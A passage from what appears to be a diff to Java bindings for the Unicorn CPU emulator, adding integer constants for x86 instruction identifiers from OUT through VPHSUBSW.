UC_X86_INS_OUT = 500; + public static final int UC_X86_INS_OUTSB = 501; + public static final int UC_X86_INS_OUTSD = 502; + public static final int UC_X86_INS_OUTSW = 503; + public static final int UC_X86_INS_PACKUSDW = 504; + public static final int UC_X86_INS_PAUSE = 505; + public static final int UC_X86_INS_PAVGUSB = 506; + public static final int UC_X86_INS_PBLENDVB = 507; + public static final int UC_X86_INS_PBLENDW = 508; + public static final int UC_X86_INS_PCLMULQDQ = 509; + public static final int UC_X86_INS_PCMPEQQ = 510; + public static final int UC_X86_INS_PCMPESTRI = 511; + public static final int UC_X86_INS_PCMPESTRM = 512; + public static final int UC_X86_INS_PCMPGTQ = 513; + public static final int UC_X86_INS_PCMPISTRI = 514; + public static final int UC_X86_INS_PCMPISTRM = 515; + public static final int UC_X86_INS_PCOMMIT = 516; + public static final int UC_X86_INS_PDEP = 517; + public static final int UC_X86_INS_PEXT = 518; + public static final int UC_X86_INS_PEXTRB = 519; + public static final int UC_X86_INS_PEXTRD = 520; + public static final int UC_X86_INS_PEXTRQ = 521; + public static final int UC_X86_INS_PF2ID = 522; + public static final int UC_X86_INS_PF2IW = 523; + public static final int UC_X86_INS_PFACC = 524; + public static final int UC_X86_INS_PFADD = 525; + public static final int UC_X86_INS_PFCMPEQ = 526; + public static final int UC_X86_INS_PFCMPGE = 527; + public static final int UC_X86_INS_PFCMPGT = 528; + public static final int UC_X86_INS_PFMAX = 529; + public static final int UC_X86_INS_PFMIN = 530; + public static final int UC_X86_INS_PFMUL = 531; + public static final int UC_X86_INS_PFNACC = 532; + public static final int UC_X86_INS_PFPNACC = 533; + public static final int UC_X86_INS_PFRCPIT1 = 534; + public static final int UC_X86_INS_PFRCPIT2 = 535; + public static final int UC_X86_INS_PFRCP = 536; + public static final int UC_X86_INS_PFRSQIT1 = 537; + public static final int UC_X86_INS_PFRSQRT = 538; + public static final int UC_X86_INS_PFSUBR = 539; + public static final int UC_X86_INS_PFSUB = 540; + public static final int UC_X86_INS_PHMINPOSUW = 541; + public static final int UC_X86_INS_PI2FD = 542; + public static final int UC_X86_INS_PI2FW = 543; + public static final int UC_X86_INS_PINSRB = 544; + public static final int UC_X86_INS_PINSRD = 545; + public static final int UC_X86_INS_PINSRQ = 546; + public static final int UC_X86_INS_PMAXSB = 547; + public static final int UC_X86_INS_PMAXSD = 548; + public static final int UC_X86_INS_PMAXUD = 549; + public static final int UC_X86_INS_PMAXUW = 550; + public static final int UC_X86_INS_PMINSB = 551; + public static final int UC_X86_INS_PMINSD = 552; + public static final int UC_X86_INS_PMINUD = 553; + public static final int UC_X86_INS_PMINUW = 554; + public static final int UC_X86_INS_PMOVSXBD = 555; + public static final int UC_X86_INS_PMOVSXBQ = 556; + public static final int UC_X86_INS_PMOVSXBW = 557; + public static final int UC_X86_INS_PMOVSXDQ = 558; + public static final int UC_X86_INS_PMOVSXWD = 559; + public static final int UC_X86_INS_PMOVSXWQ = 560; + public static final int UC_X86_INS_PMOVZXBD = 561; + public static final int UC_X86_INS_PMOVZXBQ = 562; + public static final int UC_X86_INS_PMOVZXBW = 563; + public static final int UC_X86_INS_PMOVZXDQ = 564; + public static final int UC_X86_INS_PMOVZXWD = 565; + public static final int UC_X86_INS_PMOVZXWQ = 566; + public static final int UC_X86_INS_PMULDQ = 567; + public static final int UC_X86_INS_PMULHRW = 568; + public static final int UC_X86_INS_PMULLD = 569; + public static final int UC_X86_INS_POP = 570; + public static final int UC_X86_INS_POPAW = 571; + public static final int UC_X86_INS_POPAL = 572; + public static final int UC_X86_INS_POPCNT = 573; + public static final int UC_X86_INS_POPF = 574; + public static final int UC_X86_INS_POPFD = 575; + public static final int UC_X86_INS_POPFQ = 576; + public static final int UC_X86_INS_PREFETCH = 577; + public static final int UC_X86_INS_PREFETCHNTA = 578; + public static final int UC_X86_INS_PREFETCHT0 = 579; + public static final int UC_X86_INS_PREFETCHT1 = 580; + public static final int UC_X86_INS_PREFETCHT2 = 581; + public static final int UC_X86_INS_PREFETCHW = 582; + public static final int UC_X86_INS_PSHUFD = 583; + public static final int UC_X86_INS_PSHUFHW = 584; + public static final int UC_X86_INS_PSHUFLW = 585; + public static final int UC_X86_INS_PSLLDQ = 586; + public static final int UC_X86_INS_PSRLDQ = 587; + public static final int UC_X86_INS_PSWAPD = 588; + public static final int UC_X86_INS_PTEST = 589; + public static final int UC_X86_INS_PUNPCKHQDQ = 590; + public static final int UC_X86_INS_PUNPCKLQDQ = 591; + public static final int UC_X86_INS_PUSH = 592; + public static final int UC_X86_INS_PUSHAW = 593; + public static final int UC_X86_INS_PUSHAL = 594; + public static final int UC_X86_INS_PUSHF = 595; + public static final int UC_X86_INS_PUSHFD = 596; + public static final int UC_X86_INS_PUSHFQ = 597; + public static final int UC_X86_INS_RCL = 598; + public static final int UC_X86_INS_RCPPS = 599; + public static final int UC_X86_INS_RCPSS = 600; + public static final int UC_X86_INS_RCR = 601; + public static final int UC_X86_INS_RDFSBASE = 602; + public static final int UC_X86_INS_RDGSBASE = 603; + public static final int UC_X86_INS_RDMSR = 604; + public static final int UC_X86_INS_RDPMC = 605; + public static final int UC_X86_INS_RDRAND = 606; + public static final int UC_X86_INS_RDSEED = 607; + public static final int UC_X86_INS_RDTSC = 608; + public static final int UC_X86_INS_RDTSCP = 609; + public static final int UC_X86_INS_ROL = 610; + public static final int UC_X86_INS_ROR = 611; + public static final int UC_X86_INS_RORX = 612; + public static final int UC_X86_INS_ROUNDPD = 613; + public static final int UC_X86_INS_ROUNDPS = 614; + public static final int UC_X86_INS_ROUNDSD = 615; + public static final int UC_X86_INS_ROUNDSS = 616; + public static final int UC_X86_INS_RSM = 617; + public static final int UC_X86_INS_RSQRTPS = 618; + public static final int UC_X86_INS_RSQRTSS = 619; + public static final int UC_X86_INS_SAHF = 620; + public static final int UC_X86_INS_SAL = 621; + public static final int UC_X86_INS_SALC = 622; + public static final int UC_X86_INS_SAR = 623; + public static final int UC_X86_INS_SARX = 624; + public static final int UC_X86_INS_SBB = 625; + public static final int UC_X86_INS_SCASB = 626; + public static final int UC_X86_INS_SCASD = 627; + public static final int UC_X86_INS_SCASQ = 628; + public static final int UC_X86_INS_SCASW = 629; + public static final int UC_X86_INS_SETAE = 630; + public static final int UC_X86_INS_SETA = 631; + public static final int UC_X86_INS_SETBE = 632; + public static final int UC_X86_INS_SETB = 633; + public static final int UC_X86_INS_SETE = 634; + public static final int UC_X86_INS_SETGE = 635; + public static final int UC_X86_INS_SETG = 636; + public static final int UC_X86_INS_SETLE = 637; + public static final int UC_X86_INS_SETL = 638; + public static final int UC_X86_INS_SETNE = 639; + public static final int UC_X86_INS_SETNO = 640; + public static final int UC_X86_INS_SETNP = 641; + public static final int UC_X86_INS_SETNS = 642; + public static final int UC_X86_INS_SETO = 643; + public static final int UC_X86_INS_SETP = 644; + public static final int UC_X86_INS_SETS = 645; + public static final int UC_X86_INS_SFENCE = 646; + public static final int UC_X86_INS_SGDT = 647; + public static final int UC_X86_INS_SHA1MSG1 = 648; + public static final int UC_X86_INS_SHA1MSG2 = 649; + public static final int UC_X86_INS_SHA1NEXTE = 650; + public static final int UC_X86_INS_SHA1RNDS4 = 651; + public static final int UC_X86_INS_SHA256MSG1 = 652; + public static final int UC_X86_INS_SHA256MSG2 = 653; + public static final int UC_X86_INS_SHA256RNDS2 = 654; + public static final int UC_X86_INS_SHL = 655; + public static final int UC_X86_INS_SHLD = 656; + public static final int UC_X86_INS_SHLX = 657; + public static final int UC_X86_INS_SHR = 658; + public static final int UC_X86_INS_SHRD = 659; + public static final int UC_X86_INS_SHRX = 660; + public static final int UC_X86_INS_SHUFPD = 661; + public static final int UC_X86_INS_SHUFPS = 662; + public static final int UC_X86_INS_SIDT = 663; + public static final int UC_X86_INS_FSIN = 664; + public static final int UC_X86_INS_SKINIT = 665; + public static final int UC_X86_INS_SLDT = 666; + public static final int UC_X86_INS_SMSW = 667; + public static final int UC_X86_INS_SQRTPD = 668; + public static final int UC_X86_INS_SQRTPS = 669; + public static final int UC_X86_INS_SQRTSD = 670; + public static final int UC_X86_INS_SQRTSS = 671; + public static final int UC_X86_INS_FSQRT = 672; + public static final int UC_X86_INS_STAC = 673; + public static final int UC_X86_INS_STC = 674; + public static final int UC_X86_INS_STD = 675; + public static final int UC_X86_INS_STGI = 676; + public static final int UC_X86_INS_STI = 677; + public static final int UC_X86_INS_STMXCSR = 678; + public static final int UC_X86_INS_STOSB = 679; + public static final int UC_X86_INS_STOSD = 680; + public static final int UC_X86_INS_STOSQ = 681; + public static final int UC_X86_INS_STOSW = 682; + public static final int UC_X86_INS_STR = 683; + public static final int UC_X86_INS_FST = 684; + public static final int UC_X86_INS_FSTP = 685; + public static final int UC_X86_INS_FSTPNCE = 686; + public static final int UC_X86_INS_FXCH = 687; + public static final int UC_X86_INS_SUBPD = 688; + public static final int UC_X86_INS_SUBPS = 689; + public static final int UC_X86_INS_FSUBR = 690; + public static final int UC_X86_INS_FISUBR = 691; + public static final int UC_X86_INS_FSUBRP = 692; + public static final int UC_X86_INS_SUBSD = 693; + public static final int UC_X86_INS_SUBSS = 694; + public static final int UC_X86_INS_FSUB = 695; + public static final int UC_X86_INS_FISUB = 696; + public static final int UC_X86_INS_FSUBP = 697; + public static final int UC_X86_INS_SWAPGS = 698; + public static final int UC_X86_INS_SYSCALL = 699; + public static final int UC_X86_INS_SYSENTER = 700; + public static final int UC_X86_INS_SYSEXIT = 701; + public static final int UC_X86_INS_SYSRET = 702; + public static final int UC_X86_INS_T1MSKC = 703; + public static final int UC_X86_INS_TEST = 704; + public static final int UC_X86_INS_UD2 = 705; + public static final int UC_X86_INS_FTST = 706; + public static final int UC_X86_INS_TZCNT = 707; + public static final int UC_X86_INS_TZMSK = 708; + public static final int UC_X86_INS_FUCOMPI = 709; + public static final int UC_X86_INS_FUCOMI = 710; + public static final int UC_X86_INS_FUCOMPP = 711; + public static final int UC_X86_INS_FUCOMP = 712; + public static final int UC_X86_INS_FUCOM = 713; + public static final int UC_X86_INS_UD2B = 714; + public static final int UC_X86_INS_UNPCKHPD = 715; + public static final int UC_X86_INS_UNPCKHPS = 716; + public static final int UC_X86_INS_UNPCKLPD = 717; + public static final int UC_X86_INS_UNPCKLPS = 718; + public static final int UC_X86_INS_VADDPD = 719; + public static final int UC_X86_INS_VADDPS = 720; + public static final int UC_X86_INS_VADDSD = 721; + public static final int UC_X86_INS_VADDSS = 722; + public static final int UC_X86_INS_VADDSUBPD = 723; + public static final int UC_X86_INS_VADDSUBPS = 724; + public static final int UC_X86_INS_VAESDECLAST = 725; + public static final int UC_X86_INS_VAESDEC = 726; + public static final int UC_X86_INS_VAESENCLAST = 727; + public static final int UC_X86_INS_VAESENC = 728; + public static final int UC_X86_INS_VAESIMC = 729; + public static final int UC_X86_INS_VAESKEYGENASSIST = 730; + public static final int UC_X86_INS_VALIGND = 731; + public static final int UC_X86_INS_VALIGNQ = 732; + public static final int UC_X86_INS_VANDNPD = 733; + public static final int UC_X86_INS_VANDNPS = 734; + public static final int UC_X86_INS_VANDPD = 735; + public static final int UC_X86_INS_VANDPS = 736; + public static final int UC_X86_INS_VBLENDMPD = 737; + public static final int UC_X86_INS_VBLENDMPS = 738; + public static final int UC_X86_INS_VBLENDPD = 739; + public static final int UC_X86_INS_VBLENDPS = 740; + public static final int UC_X86_INS_VBLENDVPD = 741; + public static final int UC_X86_INS_VBLENDVPS = 742; + public static final int UC_X86_INS_VBROADCASTF128 = 743; + public static final int UC_X86_INS_VBROADCASTI32X4 = 744; + public static final int UC_X86_INS_VBROADCASTI64X4 = 745; + public static final int UC_X86_INS_VBROADCASTSD = 746; + public static final int UC_X86_INS_VBROADCASTSS = 747; + public static final int UC_X86_INS_VCMPPD = 748; + public static final int UC_X86_INS_VCMPPS = 749; + public static final int UC_X86_INS_VCMPSD = 750; + public static final int UC_X86_INS_VCMPSS = 751; + public static final int UC_X86_INS_VCOMPRESSPD = 752; + public static final int UC_X86_INS_VCOMPRESSPS = 753; + public static final int UC_X86_INS_VCVTDQ2PD = 754; + public static final int UC_X86_INS_VCVTDQ2PS = 755; + public static final int UC_X86_INS_VCVTPD2DQX = 756; + public static final int UC_X86_INS_VCVTPD2DQ = 757; + public static final int UC_X86_INS_VCVTPD2PSX = 758; + public static final int UC_X86_INS_VCVTPD2PS = 759; + public static final int UC_X86_INS_VCVTPD2UDQ = 760; + public static final int UC_X86_INS_VCVTPH2PS = 761; + public static final int UC_X86_INS_VCVTPS2DQ = 762; + public static final int UC_X86_INS_VCVTPS2PD = 763; + public static final int UC_X86_INS_VCVTPS2PH = 764; + public static final int UC_X86_INS_VCVTPS2UDQ = 765; + public static final int UC_X86_INS_VCVTSD2SI = 766; + public static final int UC_X86_INS_VCVTSD2USI = 767; + public static final int UC_X86_INS_VCVTSS2SI = 768; + public static final int UC_X86_INS_VCVTSS2USI = 769; + public static final int UC_X86_INS_VCVTTPD2DQX = 770; + public static final int UC_X86_INS_VCVTTPD2DQ = 771; + public static final int UC_X86_INS_VCVTTPD2UDQ = 772; + public static final int UC_X86_INS_VCVTTPS2DQ = 773; + public static final int UC_X86_INS_VCVTTPS2UDQ = 774; + public static final int UC_X86_INS_VCVTUDQ2PD = 775; + public static final int UC_X86_INS_VCVTUDQ2PS = 776; + public static final int UC_X86_INS_VDIVPD = 777; + public static final int UC_X86_INS_VDIVPS = 778; + public static final int UC_X86_INS_VDIVSD = 779; + public static final int UC_X86_INS_VDIVSS = 780; + public static final int UC_X86_INS_VDPPD = 781; + public static final int UC_X86_INS_VDPPS = 782; + public static final int UC_X86_INS_VERR = 783; + public static final int UC_X86_INS_VERW = 784; + public static final int UC_X86_INS_VEXP2PD = 785; + public static final int UC_X86_INS_VEXP2PS = 786; + public static final int UC_X86_INS_VEXPANDPD = 787; + public static final int UC_X86_INS_VEXPANDPS = 788; + public static final int UC_X86_INS_VEXTRACTF128 = 789; + public static final int UC_X86_INS_VEXTRACTF32X4 = 790; + public static final int UC_X86_INS_VEXTRACTF64X4 = 791; + public static final int UC_X86_INS_VEXTRACTI128 = 792; + public static final int UC_X86_INS_VEXTRACTI32X4 = 793; + public static final int UC_X86_INS_VEXTRACTI64X4 = 794; + public static final int UC_X86_INS_VEXTRACTPS = 795; + public static final int UC_X86_INS_VFMADD132PD = 796; + public static final int UC_X86_INS_VFMADD132PS = 797; + public static final int UC_X86_INS_VFMADDPD = 798; + public static final int UC_X86_INS_VFMADD213PD = 799; + public static final int UC_X86_INS_VFMADD231PD = 800; + public static final int UC_X86_INS_VFMADDPS = 801; + public static final int UC_X86_INS_VFMADD213PS = 802; + public static final int UC_X86_INS_VFMADD231PS = 803; + public static final int UC_X86_INS_VFMADDSD = 804; + public static final int UC_X86_INS_VFMADD213SD = 805; + public static final int UC_X86_INS_VFMADD132SD = 806; + public static final int UC_X86_INS_VFMADD231SD = 807; + public static final int UC_X86_INS_VFMADDSS = 808; + public static final int UC_X86_INS_VFMADD213SS = 809; + public static final int UC_X86_INS_VFMADD132SS = 810; + public static final int UC_X86_INS_VFMADD231SS = 811; + public static final int UC_X86_INS_VFMADDSUB132PD = 812; + public static final int UC_X86_INS_VFMADDSUB132PS = 813; + public static final int UC_X86_INS_VFMADDSUBPD = 814; + public static final int UC_X86_INS_VFMADDSUB213PD = 815; + public static final int UC_X86_INS_VFMADDSUB231PD = 816; + public static final int UC_X86_INS_VFMADDSUBPS = 817; + public static final int UC_X86_INS_VFMADDSUB213PS = 818; + public static final int UC_X86_INS_VFMADDSUB231PS = 819; + public static final int UC_X86_INS_VFMSUB132PD = 820; + public static final int UC_X86_INS_VFMSUB132PS = 821; + public static final int UC_X86_INS_VFMSUBADD132PD = 822; + public static final int UC_X86_INS_VFMSUBADD132PS = 823; + public static final int UC_X86_INS_VFMSUBADDPD = 824; + public static final int UC_X86_INS_VFMSUBADD213PD = 825; + public static final int UC_X86_INS_VFMSUBADD231PD = 826; + public static final int UC_X86_INS_VFMSUBADDPS = 827; + public static final int UC_X86_INS_VFMSUBADD213PS = 828; + public static final int UC_X86_INS_VFMSUBADD231PS = 829; + public static final int UC_X86_INS_VFMSUBPD = 830; + public static final int UC_X86_INS_VFMSUB213PD = 831; + public static final int UC_X86_INS_VFMSUB231PD = 832; + public static final int UC_X86_INS_VFMSUBPS = 833; + public static final int UC_X86_INS_VFMSUB213PS = 834; + public static final int UC_X86_INS_VFMSUB231PS = 835; + public static final int UC_X86_INS_VFMSUBSD = 836; + public static final int UC_X86_INS_VFMSUB213SD = 837; + public static final int UC_X86_INS_VFMSUB132SD = 838; + public static final int UC_X86_INS_VFMSUB231SD = 839; + public static final int UC_X86_INS_VFMSUBSS = 840; + public static final int UC_X86_INS_VFMSUB213SS = 841; + public static final int UC_X86_INS_VFMSUB132SS = 842; + public static final int UC_X86_INS_VFMSUB231SS = 843; + public static final int UC_X86_INS_VFNMADD132PD = 844; + public static final int UC_X86_INS_VFNMADD132PS = 845; + public static final int UC_X86_INS_VFNMADDPD = 846; + public static final int UC_X86_INS_VFNMADD213PD = 847; + public static final int UC_X86_INS_VFNMADD231PD = 848; + public static final int UC_X86_INS_VFNMADDPS = 849; + public static final int UC_X86_INS_VFNMADD213PS = 850; + public static final int UC_X86_INS_VFNMADD231PS = 851; + public static final int UC_X86_INS_VFNMADDSD = 852; + public static final int UC_X86_INS_VFNMADD213SD = 853; + public static final int UC_X86_INS_VFNMADD132SD = 854; + public static final int UC_X86_INS_VFNMADD231SD = 855; + public static final int UC_X86_INS_VFNMADDSS = 856; + public static final int UC_X86_INS_VFNMADD213SS = 857; + public static final int UC_X86_INS_VFNMADD132SS = 858; + public static final int UC_X86_INS_VFNMADD231SS = 859; + public static final int UC_X86_INS_VFNMSUB132PD = 860; + public static final int UC_X86_INS_VFNMSUB132PS = 861; + public static final int UC_X86_INS_VFNMSUBPD = 862; + public static final int UC_X86_INS_VFNMSUB213PD = 863; + public static final int UC_X86_INS_VFNMSUB231PD = 864; + public static final int UC_X86_INS_VFNMSUBPS = 865; + public static final int UC_X86_INS_VFNMSUB213PS = 866; + public static final int UC_X86_INS_VFNMSUB231PS = 867; + public static final int UC_X86_INS_VFNMSUBSD = 868; + public static final int UC_X86_INS_VFNMSUB213SD = 869; + public static final int UC_X86_INS_VFNMSUB132SD = 870; + public static final int UC_X86_INS_VFNMSUB231SD = 871; + public static final int UC_X86_INS_VFNMSUBSS = 872; + public static final int UC_X86_INS_VFNMSUB213SS = 873; + public static final int UC_X86_INS_VFNMSUB132SS = 874; + public static final int UC_X86_INS_VFNMSUB231SS = 875; + public static final int UC_X86_INS_VFRCZPD = 876; + public static final int UC_X86_INS_VFRCZPS = 877; + public static final int UC_X86_INS_VFRCZSD = 878; + public static final int UC_X86_INS_VFRCZSS = 879; + public static final int UC_X86_INS_VORPD = 880; + public static final int UC_X86_INS_VORPS = 881; + public static final int UC_X86_INS_VXORPD = 882; + public static final int UC_X86_INS_VXORPS = 883; + public static final int UC_X86_INS_VGATHERDPD = 884; + public static final int UC_X86_INS_VGATHERDPS = 885; + public static final int UC_X86_INS_VGATHERPF0DPD = 886; + public static final int UC_X86_INS_VGATHERPF0DPS = 887; + public static final int UC_X86_INS_VGATHERPF0QPD = 888; + public static final int UC_X86_INS_VGATHERPF0QPS = 889; + public static final int UC_X86_INS_VGATHERPF1DPD = 890; + public static final int UC_X86_INS_VGATHERPF1DPS = 891; + public static final int UC_X86_INS_VGATHERPF1QPD = 892; + public static final int UC_X86_INS_VGATHERPF1QPS = 893; + public static final int UC_X86_INS_VGATHERQPD = 894; + public static final int UC_X86_INS_VGATHERQPS = 895; + public static final int UC_X86_INS_VHADDPD = 896; + public static final int UC_X86_INS_VHADDPS = 897; + public static final int UC_X86_INS_VHSUBPD = 898; + public static final int UC_X86_INS_VHSUBPS = 899; + public static final int UC_X86_INS_VINSERTF128 = 900; + public static final int UC_X86_INS_VINSERTF32X4 = 901; + public static final int UC_X86_INS_VINSERTF32X8 = 902; + public static final int UC_X86_INS_VINSERTF64X2 = 903; + public static final int UC_X86_INS_VINSERTF64X4 = 904; + public static final int UC_X86_INS_VINSERTI128 = 905; + public static final int UC_X86_INS_VINSERTI32X4 = 906; + public static final int UC_X86_INS_VINSERTI32X8 = 907; + public static final int UC_X86_INS_VINSERTI64X2 = 908; + public static final int UC_X86_INS_VINSERTI64X4 = 909; + public static final int UC_X86_INS_VINSERTPS = 910; + public static final int UC_X86_INS_VLDDQU = 911; + public static final int UC_X86_INS_VLDMXCSR = 912; + public static final int UC_X86_INS_VMASKMOVDQU = 913; + public static final int UC_X86_INS_VMASKMOVPD = 914; + public static final int UC_X86_INS_VMASKMOVPS = 915; + public static final int UC_X86_INS_VMAXPD = 916; + public static final int UC_X86_INS_VMAXPS = 917; + public static final int UC_X86_INS_VMAXSD = 918; + public static final int UC_X86_INS_VMAXSS = 919; + public static final int UC_X86_INS_VMCALL = 920; + public static final int UC_X86_INS_VMCLEAR = 921; + public static final int UC_X86_INS_VMFUNC = 922; + public static final int UC_X86_INS_VMINPD = 923; + public static final int UC_X86_INS_VMINPS = 924; + public static final int UC_X86_INS_VMINSD = 925; + public static final int UC_X86_INS_VMINSS = 926; + public static final int UC_X86_INS_VMLAUNCH = 927; + public static final int UC_X86_INS_VMLOAD = 928; + public static final int UC_X86_INS_VMMCALL = 929; + public static final int UC_X86_INS_VMOVQ = 930; + public static final int UC_X86_INS_VMOVDDUP = 931; + public static final int UC_X86_INS_VMOVD = 932; + public static final int UC_X86_INS_VMOVDQA32 = 933; + public static final int UC_X86_INS_VMOVDQA64 = 934; + public static final int UC_X86_INS_VMOVDQA = 935; + public static final int UC_X86_INS_VMOVDQU16 = 936; + public static final int UC_X86_INS_VMOVDQU32 = 937; + public static final int UC_X86_INS_VMOVDQU64 = 938; + public static final int UC_X86_INS_VMOVDQU8 = 939; + public static final int UC_X86_INS_VMOVDQU = 940; + public static final int UC_X86_INS_VMOVHLPS = 941; + public static final int UC_X86_INS_VMOVHPD = 942; + public static final int UC_X86_INS_VMOVHPS = 943; + public static final int UC_X86_INS_VMOVLHPS = 944; + public static final int UC_X86_INS_VMOVLPD = 945; + public static final int UC_X86_INS_VMOVLPS = 946; + public static final int UC_X86_INS_VMOVMSKPD = 947; + public static final int UC_X86_INS_VMOVMSKPS = 948; + public static final int UC_X86_INS_VMOVNTDQA = 949; + public static final int UC_X86_INS_VMOVNTDQ = 950; + public static final int UC_X86_INS_VMOVNTPD = 951; + public static final int UC_X86_INS_VMOVNTPS = 952; + public static final int UC_X86_INS_VMOVSD = 953; + public static final int UC_X86_INS_VMOVSHDUP = 954; + public static final int UC_X86_INS_VMOVSLDUP = 955; + public static final int UC_X86_INS_VMOVSS = 956; + public static final int UC_X86_INS_VMOVUPD = 957; + public static final int UC_X86_INS_VMOVUPS = 958; + public static final int UC_X86_INS_VMPSADBW = 959; + public static final int UC_X86_INS_VMPTRLD = 960; + public static final int UC_X86_INS_VMPTRST = 961; + public static final int UC_X86_INS_VMREAD = 962; + public static final int UC_X86_INS_VMRESUME = 963; + public static final int UC_X86_INS_VMRUN = 964; + public static final int UC_X86_INS_VMSAVE = 965; + public static final int UC_X86_INS_VMULPD = 966; + public static final int UC_X86_INS_VMULPS = 967; + public static final int UC_X86_INS_VMULSD = 968; + public static final int UC_X86_INS_VMULSS = 969; + public static final int UC_X86_INS_VMWRITE = 970; + public static final int UC_X86_INS_VMXOFF = 971; + public static final int UC_X86_INS_VMXON = 972; + public static final int UC_X86_INS_VPABSB = 973; + public static final int UC_X86_INS_VPABSD = 974; + public static final int UC_X86_INS_VPABSQ = 975; + public static final int UC_X86_INS_VPABSW = 976; + public static final int UC_X86_INS_VPACKSSDW = 977; + public static final int UC_X86_INS_VPACKSSWB = 978; + public static final int UC_X86_INS_VPACKUSDW = 979; + public static final int UC_X86_INS_VPACKUSWB = 980; + public static final int UC_X86_INS_VPADDB = 981; + public static final int UC_X86_INS_VPADDD = 982; + public static final int UC_X86_INS_VPADDQ = 983; + public static final int UC_X86_INS_VPADDSB = 984; + public static final int UC_X86_INS_VPADDSW = 985; + public static final int UC_X86_INS_VPADDUSB = 986; + public static final int UC_X86_INS_VPADDUSW = 987; + public static final int UC_X86_INS_VPADDW = 988; + public static final int UC_X86_INS_VPALIGNR = 989; + public static final int UC_X86_INS_VPANDD = 990; + public static final int UC_X86_INS_VPANDND = 991; + public static final int UC_X86_INS_VPANDNQ = 992; + public static final int UC_X86_INS_VPANDN = 993; + public static final int UC_X86_INS_VPANDQ = 994; + public static final int UC_X86_INS_VPAND = 995; + public static final int UC_X86_INS_VPAVGB = 996; + public static final int UC_X86_INS_VPAVGW = 997; + public static final int UC_X86_INS_VPBLENDD = 998; + public static final int UC_X86_INS_VPBLENDMB = 999; + public static final int UC_X86_INS_VPBLENDMD = 1000; + public static final int UC_X86_INS_VPBLENDMQ = 1001; + public static final int UC_X86_INS_VPBLENDMW = 1002; + public static final int UC_X86_INS_VPBLENDVB = 1003; + public static final int UC_X86_INS_VPBLENDW = 1004; + public static final int UC_X86_INS_VPBROADCASTB = 1005; + public static final int UC_X86_INS_VPBROADCASTD = 1006; + public static final int UC_X86_INS_VPBROADCASTMB2Q = 1007; + public static final int UC_X86_INS_VPBROADCASTMW2D = 1008; + public static final int UC_X86_INS_VPBROADCASTQ = 1009; + public static final int UC_X86_INS_VPBROADCASTW = 1010; + public static final int UC_X86_INS_VPCLMULQDQ = 1011; + public static final int UC_X86_INS_VPCMOV = 1012; + public static final int UC_X86_INS_VPCMPB = 1013; + public static final int UC_X86_INS_VPCMPD = 1014; + public static final int UC_X86_INS_VPCMPEQB = 1015; + public static final int UC_X86_INS_VPCMPEQD = 1016; + public static final int UC_X86_INS_VPCMPEQQ = 1017; + public static final int UC_X86_INS_VPCMPEQW = 1018; + public static final int UC_X86_INS_VPCMPESTRI = 1019; + public static final int UC_X86_INS_VPCMPESTRM = 1020; + public static final int UC_X86_INS_VPCMPGTB = 1021; + public static final int UC_X86_INS_VPCMPGTD = 1022; + public static final int UC_X86_INS_VPCMPGTQ = 1023; + public static final int UC_X86_INS_VPCMPGTW = 1024; + public static final int UC_X86_INS_VPCMPISTRI = 1025; + public static final int UC_X86_INS_VPCMPISTRM = 1026; + public static final int UC_X86_INS_VPCMPQ = 1027; + public static final int UC_X86_INS_VPCMPUB = 1028; + public static final int UC_X86_INS_VPCMPUD = 1029; + public static final int UC_X86_INS_VPCMPUQ = 1030; + public static final int UC_X86_INS_VPCMPUW = 1031; + public static final int UC_X86_INS_VPCMPW = 1032; + public static final int UC_X86_INS_VPCOMB = 1033; + public static final int UC_X86_INS_VPCOMD = 1034; + public static final int UC_X86_INS_VPCOMPRESSD = 1035; + public static final int UC_X86_INS_VPCOMPRESSQ = 1036; + public static final int UC_X86_INS_VPCOMQ = 1037; + public static final int UC_X86_INS_VPCOMUB = 1038; + public static final int UC_X86_INS_VPCOMUD = 1039; + public static final int UC_X86_INS_VPCOMUQ = 1040; + public static final int UC_X86_INS_VPCOMUW = 1041; + public static final int UC_X86_INS_VPCOMW = 1042; + public static final int UC_X86_INS_VPCONFLICTD = 1043; + public static final int UC_X86_INS_VPCONFLICTQ = 1044; + public static final int UC_X86_INS_VPERM2F128 = 1045; + public static final int UC_X86_INS_VPERM2I128 = 1046; + public static final int UC_X86_INS_VPERMD = 1047; + public static final int UC_X86_INS_VPERMI2D = 1048; + public static final int UC_X86_INS_VPERMI2PD = 1049; + public static final int UC_X86_INS_VPERMI2PS = 1050; + public static final int UC_X86_INS_VPERMI2Q = 1051; + public static final int UC_X86_INS_VPERMIL2PD = 1052; + public static final int UC_X86_INS_VPERMIL2PS = 1053; + public static final int UC_X86_INS_VPERMILPD = 1054; + public static final int UC_X86_INS_VPERMILPS = 1055; + public static final int UC_X86_INS_VPERMPD = 1056; + public static final int UC_X86_INS_VPERMPS = 1057; + public static final int UC_X86_INS_VPERMQ = 1058; + public static final int UC_X86_INS_VPERMT2D = 1059; + public static final int UC_X86_INS_VPERMT2PD = 1060; + public static final int UC_X86_INS_VPERMT2PS = 1061; + public static final int UC_X86_INS_VPERMT2Q = 1062; + public static final int UC_X86_INS_VPEXPANDD = 1063; + public static final int UC_X86_INS_VPEXPANDQ = 1064; + public static final int UC_X86_INS_VPEXTRB = 1065; + public static final int UC_X86_INS_VPEXTRD = 1066; + public static final int UC_X86_INS_VPEXTRQ = 1067; + public static final int UC_X86_INS_VPEXTRW = 1068; + public static final int UC_X86_INS_VPGATHERDD = 1069; + public static final int UC_X86_INS_VPGATHERDQ = 1070; + public static final int UC_X86_INS_VPGATHERQD = 1071; + public static final int UC_X86_INS_VPGATHERQQ = 1072; + public static final int UC_X86_INS_VPHADDBD = 1073; + public static final int UC_X86_INS_VPHADDBQ = 1074; + public static final int UC_X86_INS_VPHADDBW = 1075; + public static final int UC_X86_INS_VPHADDDQ = 1076; + public static final int UC_X86_INS_VPHADDD = 1077; + public static final int UC_X86_INS_VPHADDSW = 1078; + public static final int UC_X86_INS_VPHADDUBD = 1079; + public static final int UC_X86_INS_VPHADDUBQ = 1080; + public static final int UC_X86_INS_VPHADDUBW = 1081; + public static final int UC_X86_INS_VPHADDUDQ = 1082; + public static final int UC_X86_INS_VPHADDUWD = 1083; + public static final int UC_X86_INS_VPHADDUWQ = 1084; + public static final int UC_X86_INS_VPHADDWD = 1085; + public static final int UC_X86_INS_VPHADDWQ = 1086; + public static final int UC_X86_INS_VPHADDW = 1087; + public static final int UC_X86_INS_VPHMINPOSUW = 1088; + public static final int UC_X86_INS_VPHSUBBW = 1089; + public static final int UC_X86_INS_VPHSUBDQ = 1090; + public static final int UC_X86_INS_VPHSUBD = 1091; + public static final int UC_X86_INS_VPHSUBSW = 1092; + public static final int 